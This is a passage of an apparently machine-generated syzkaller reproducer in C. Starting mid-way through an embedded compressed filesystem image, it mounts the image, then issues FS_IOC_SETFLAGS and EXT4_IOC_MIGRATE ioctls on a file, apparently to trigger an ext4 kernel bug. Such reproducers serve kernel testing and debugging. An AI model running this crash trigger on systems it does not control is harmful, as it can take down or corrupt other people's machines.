"\xac\xd5\x9a\x8f\xd6\x7c\x77\x19\x00\xb8\xe9\xf2\x69\x0e\x2c\x97\x2f\x65" "\xb9\x80\xb9\xc8\xe7\x4b\xa5\x76\x0e\xef\x85\x98\xcd\x57\xeb\x8d\xe6\xbd" "\x47\xf5\xbd\xed\xf5\x76\xae\x6c\x21\x0a\xf9\x47\x9b\xd5\xca\x52\x96\x2b" "\x5c\x88\x42\x2e\x29\x2f\xa7\xc7\xa7\xe5\xf2\x99\xf2\x83\x88\x78\x2e\x22" "\x7e\x36\x3d\x93\x96\x4b\x6b\xf5\xea\xfa\x28\xff\xe3\x03\x00\x63\xec\xd6" "\x99\xf9\xff\x5f\xd3\xed\xf9\xff\xd4\xc4\xe8\x1a\x07\x00\x5c\x9d\xe2\xa8" "\x1b\x00\x00\x0c\x9d\xf9\x1f\x00\xc6\x8f\xf9\x1f\x00\xc6\x8f\xf9\x1f\x00" "\xc6\x4f\x7b\xfe\x9f\x19\x75\x33\x00\x80\x21\xf2\xfe\x1f\x00\xc6\x8f\xf9" "\x1f\x00\xc6\xca\xf7\xdf\x7a\x2b\xd9\x5a\xc7\xd9\xf3\xaf\xd7\xdf\xdb\xdf" "\xdb\xaa\xbf\x77\x7f\xbd\xd2\xd8\x2a\xd5\xf6\xd6\x4a\x6b\xf5\xdd\x9d\xd2" "\x46\xbd\xbe\x91\x3e\xb3\xa7\x76\xde\xeb\x55\xeb\xf5\x9d\xe5\x57\x63\xef" "\xfd\x85\x6f\xee\x34\x9a\x8b\x8d\xfd\x83\x87\xb5\xfa\xde\x76\xf3\x61\xfa" "\x5c\xef\x87\x95\x42\x7a\xd5\xe1\x10\x7a\x06\x00\xf4\xf3\xdc\x4b\x1f\xfd" "\x31\x97\xcc\xc8\x6f\xcc\x9c\x3c\xe9\xa7\xb3\x96\x43\x61\x84\xed\x02\xae" "\x5e\x7e\xd4\x0d\x00\x46\xc6\xd3\xfd\x60\x7c\x59\xed\x0b\xc6\xd7\x05\xde" "\xe3\x4b\x0f\xc0\x0d\xd1\x63\x89\xde\x27\x14\x9f\xfa\x82\x90\xdb\x1f\xfe" "\xdf\xdd\xfd\xc2\x69\xfe\x3f\xd9\x42\xfe\x1f\xc6\x46\x57\xfe\xdf\x6f\x01" "\xc3\x98\x91\xff\x87\xf1\xf5\xbf\xe6\xff\xef\x5c\x51\x3b\x80\xe1\x6b\xb5" "\x72\x83\xae\xf9\x1f\x83\x5e\x08\x00\x5c\x6f\x72\xfc\x30\xf6\x8a\x7d\x3e" "\xff\x7f\x3e\xdb\xff\x3a\xfb\x70\xe0\x9d\xf5\xb3\x57\x7c\x78\x95\xcd\x02" "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00" "\x00\x00\x00\x00\x00\x80\xeb\xad\xb3\xfe\x6f\x29\x5b\x0b\x7c\x2e\xf2\xf9" "\x52\x29\xe2\x99\x88\x58\x88\x42\xee\xd1\x66\xb5\xb2\x14\x11\xcf\x46\xc4" "\x1f\xa6\x0b\xd3\x49\x79\x79\xc4\x6d\x06\x00\x2e\x2a\xff\x97\x5c\x44\x24" "\xdb\xdd\xf9\x57\xe6\x9e\xa8\x7a\xf1\xd6\xc9\xe1\x54\x44\xfc\xf8\x17\x6f" "\xff\xfc\xfd\xd5\x66\x73\xf7\xf7\x11\x53\xb9\x7f\x4c\x77\xce\x37\x3f\xcc" "\xce\x97\x87\xdf\x7a\x00\xe0\x7c\x9d\x79\x3a\xdd\x77\xbd\x91\xff\xe4\xe8" "\xf1\x5a\x67\x1b\x66\x7b\xfe\xfa\xed\x88\x28\xb6\xe3\x1f\x1f\x4d\xc5\xf1" "\x49\xfc\xc9\x98\x4c\xf7\xc5\x28\x44\xc4\xec\x3f\x73\x59\xb9\x2d\xd7\x95" "\xbb\xb8\x88\xc3\x0f\x22\xe2\xf3\xbd\xfa\x9f\x8b\xb9\x34\x07\xd2\x5e\xf9" "\xf4\x6c\xfc\x24\xf6\x33\x43\x8d\x9f\x7f\x22\x7e\x3e\xad\x6b\xef\x93\xbf" "\x8b\xcf\x5d\x42\x5b\x60\xdc\x7c\x94\x8c\x3f\x6f\xf6\xba\xff\xf2\x71\x3b" "\xdd\xf7\xbe\xff\x8b\xe9\x08\x75\x71\xd9\xf8\x97\xbc\xd4\xda\x71\x3a\x06" "\x9e\xc6\xef\x8c\x7f\x13\x7d\xc6\xbf\xdb\x83\xc6\x78\xf5\xb7\xdf\x6d\x1f" "\xcd\x3c\x5d\xf7\x41\xc4\x17\x27\x23\x3a\xb1\x8f\xbb\xc6\x9f\x4e\xfc\x5c" "\x9f\xf8\xaf\x0c\x18\xff\x4f\x5f\x7a\xf1\x4e\xbf\xba\xd6\x2f\x23\xee\x46" "\xef\xf8\xdd\xb1\x16\x9b\xb5\x9d\xc5\xc6\xfe\xc1\xfd\xcd\xda\xea\x46\x65" "\xa3\xb2\x5d\x2e\xaf\x2c\xaf\x2c\xbd\xfe\xe0\xb5\xf2\x62\x9a\xa3\x5e\xec" "\x3f\x1b\xfc\xed\x8d\x7b\xcf\xf6\xab\x4b\xfa\x3f\xdb\x27\x7e\xf1\x9c\xfe" "\x7f\x75\xc0\xfe\xff\xea\x3f\xef\xfe\xf0\x2b\x9f\x12\xff\xeb\x2f\xf7\x8a" "\x9f\x8f\x17\x3e\x25\x7e\x32\x27\x7e\x6d\xc0\xf8\xab\xb3\xbf\x29\xf6\xab" "\x4b\xe2\xaf\xf7\xe9\xff\x79\x3f\xff\x7b\x03\xc6\xff\xf8\xcf\x07\xe9\xb2" "\xe1\xef\x0c\x78\x3d\x00\x70\xb5\x1a\xfb\x07\x5b\xab\xd5\x6a\x65\xd7\x81" "\x83\xeb\x7f\x90\xfc\x93\xbd\x06\xcd\xe8\x79\xf0\xad\x61\xc5\x9a\x8a\xde" "\x55\x3f\x7d\xb9\x7d\x4f\x9f\xa9\x6a\xb5\x3e\x53\xac\x7e\x23\xc6\x65\x64" "\xdd\x80\xeb\xe0\xe4\xa6\x8f\x88\x7f\x8f\xba\x31\x00\x00\x00\x00\x00\x00" "\x00\x00\x00\x00\x00\x40\x4f\xc3\xf8\xc6\xd2\xa8\xfb\x08\x00\x00\x00\x00" "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00" "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00" "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00" "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00" "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00" "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00" "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00" "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00" "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00" "\x00\xc0\xcd\xf5\xdf\x00\x00\x00\xff\xff\x7e\x1e\xca\xf5", 1292); syz_mount_image(/*fs=*/0x20000180, /*dir=*/0x20000340, /*flags=*/0, /*opts=*/0x20000100, /*chdir=*/0xfb, /*size=*/0x50c, /*img=*/0x20000b40); // openat arguments: [ // fd: fd_dir (resource) // file: ptr[in, buffer] { // buffer: {2e 2f 66 69 6c 65 32 00} (length 0x8) // } // flags: open_flags = 0x101842 (4 bytes) // mode: open_mode = 0x10 (2 bytes) // ] // returns fd memcpy((void*)0x20000040, "./file2\000", 8); res = syscall(__NR_openat, /*fd=*/0xffffff9c, /*file=*/0x20000040ul, /*flags=O_SYNC|O_NONBLOCK|O_CREAT|O_RDWR*/ 0x101842, /*mode=S_IWGRP*/ 0x10); if (res != -1) r[0] = res; // ioctl$FS_IOC_SETFLAGS arguments: [ // fd: fd (resource) // cmd: const = 0x40086602 (4 bytes) // arg: ptr[in, fs_flags] { // fs_flags = 0x0 (4 bytes) // } // ] *(uint32_t*)0x200005c0 = 0; syscall(__NR_ioctl, /*fd=*/r[0], /*cmd=*/0x40086602, /*arg=*/0x200005c0ul); // ioctl$EXT4_IOC_MIGRATE arguments: [ // fd: fd (resource) // cmd: const = 0x6609 (4 bytes) // ] syscall(__NR_ioctl, /*fd=*/r[0], /*cmd=*/0x6609, 0); } int main(void) { syscall(__NR_mmap, /*addr=*/0x1ffff000ul, /*len=*/0x1000, /*prot=*/0ul, /*flags=MAP_FIXED|MAP_ANONYMOUS|MAP_PRIVATE*/ 0x32ul, /*fd=*/(intptr_t)-1, /*offset=*/0ul); syscall(__NR_mmap, /*addr=*/0x20000000ul, /*len=*/0x1000000, /*prot=PROT_WRITE|PROT_READ|PROT_EXEC*/ 7ul, /*flags=MAP_FIXED|MAP_ANONYMOUS|MAP_PRIVATE*/ 0x32ul, /*fd=*/(intptr_t)-1, /*offset=*/0ul); syscall(__NR_mmap, /*addr=*/0x21000000ul, /*len=*/0x1000, /*prot=*/0ul, /*flags=MAP_FIXED|MAP_ANONYMOUS|MAP_PRIVATE*/ 0x32ul, /*fd=*/(intptr_t)-1, /*offset=*/0ul); const char* reason; (void)reason; loop(); return 0; }